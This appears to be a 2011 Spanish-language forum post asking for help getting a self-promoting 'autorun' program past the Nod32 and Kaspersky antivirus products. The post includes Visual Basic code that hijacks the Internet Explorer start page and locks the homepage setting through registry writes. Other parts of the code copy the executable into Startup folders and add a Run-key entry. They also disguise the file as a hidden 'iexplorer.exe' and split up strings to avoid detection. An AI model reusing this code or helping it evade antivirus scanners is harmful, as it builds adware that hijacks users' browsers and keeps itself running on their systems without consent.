Autor Tema: problemas con los AVS  (Leído 1959 veces)

0 Usuarios y 1 Visitante están viendo este tema.

skynetp

  • Bit
  • Mensajes: 4
  • Reputación: +0/-0
    • Ver Perfil
problemas con los AVS
« en: Julio 06, 2011, 02:53:33 am »
Hola
en esta ocacion pido su ayuda con respecto a los problemas q tengo
ando desarrollando un programa el cual tendra tiene para un autorun y algo de publicidad en mi web colocando pagina de inicio
bueno el problema es que el Nod32 y el Kapersky detecta mi archivo realmente no puedo darle una solucion.... encripte las cadenas q tengo en el code
pero aun asi no pude solucionarlo
espero q me puedan ayudar

coloco el codigo

Código: [Seleccionar]
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
     (ByVal lpBuffer As String, nSize As Long) As Long
Sub inicio()
    Dim win
    Dim sys
    Dim residencia
    On Error Resume Next
ejec = App.Path
     
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page\Microsoft Page", "webdelprograma.com"
residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page\Microsoft Page", "webdelprograma.com"
residencia.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\Homepage", "0"
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "webdelprograma.com"

End Sub


Sub copiar()


Dim Cop
Dim Arc
Dim basura
basura = ""


 
 On Error Resume Next

If basura = "123456" Then
 basura = "123456"
 Else
   Dim lpBuff As String * 25
     Dim ret As Long, UserName As String
   ret = GetUserName(lpBuff, 25)
     UserName = Left(lpBuff, InStr(lpBuff, Chr(0)) - 1)
  Set Arc = CreateObject("Scripting.FileSystemObject")
Cop = basura & App.Path & basura & "\" & basura & App.EXEName & basura & "." & basura & "e" & basura & "x" & basura & "e"
Arc.copyfile Cop, basura & "c:\" & basura & App.EXEName & basura & "." & basura & "e" & basura & "x" & basura & "e"
Arc.copyfile Cop, basura & "c" & ":" & "\" & "Documents " & basura & "and Settings" & "\All Users\" & basura & "Menú Inicio\" & basura & "Programas\" & basura & "Inicio\" & App.EXEName & "." & basura & "e" & basura & "x" & basura & "e"
Arc.copyfile Cop, basura & "C:\" & basura & "Users\" & UserName & "\AppData" & basura & "\Roaming\Microsoft" & basura & "\Windows\Start Menu\Programs\" & basura & "Startup\" & App.EXEName & "." & basura & "e" & basura & "x" & basura & "e"
Text3.Text = basura & "C:\" & basura & "Users\" & UserName & "\AppData" & basura & "\Roaming\Microsoft" & basura & "\Windows\Start Menu\Programs\" & basura & "Startup\" & App.EXEName & "." & basura & "e" & basura & "x" & basura & "e"
 End If
Err = 0

End Sub



Espero su ayuda

tambien encontre otro codigo muy bueno
pero tambien es detectado :(
aqui el codigo

Código: [Seleccionar]
Option Explicit


Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Const REG_SZ = 1                         ' Unicode nul terminated string
Private Const REG_DWORD = 4                      ' 32-bit number
Private Const ERROR_SUCCESS = 0&

Public Enum pvpHK
    HKEY_CLASSES_ROOT = &H80000000
    HKEY_CURRENT_USER = &H80000001
    HKEY_LOCAL_MACHINE = &H80000002
    HKEY_USERS = &H80000003
    HKEY_PERFORMANCE_DATA = &H80000004
   
End Enum


Private Const pvpRunHKey = "Software\Microsoft\Windows\CurrentVersion\Run"

Private Sub savestring(ByVal Hkey As Long, strPath As String, strValue As String, strData As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(Hkey, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strData, Len(strData))
    If r = 87 Then
        DeleteValue Hkey, strPath, strValue
    End If
    r = RegCloseKey(keyhand)
End Sub

Private Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegOpenKey(Hkey, strPath, keyhand)
    r = RegDeleteValue(keyhand, strValue)
    r = RegCloseKey(keyhand)
End Function

Public Function RunAtStartup(sAppTitle As String, strsAppName As String)
         savestring pvpHK.HKEY_CURRENT_USER, pvpRunHKey, sAppTitle, strsAppName
End Function

Public Function RemoveFromStartup(sAppTitle As String, strsAppName As String)
         DeleteValue pvpHK.HKEY_CURRENT_USER, pvpRunHKey, sAppTitle
End Function

'---------------

Private Sub Command1_Click()
On Error Resume Next

    FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("AppData") & "\iexplorer.exe" 'Copy file
   
    RunAtStartup App.Title, Environ("AppData") & "\iexplorer.exe"
     SetFileAttributes Environ("AppData") & "\iexplorer.exe", FILE_ATTRIBUTE_HIDDEN 'Hide it
End Sub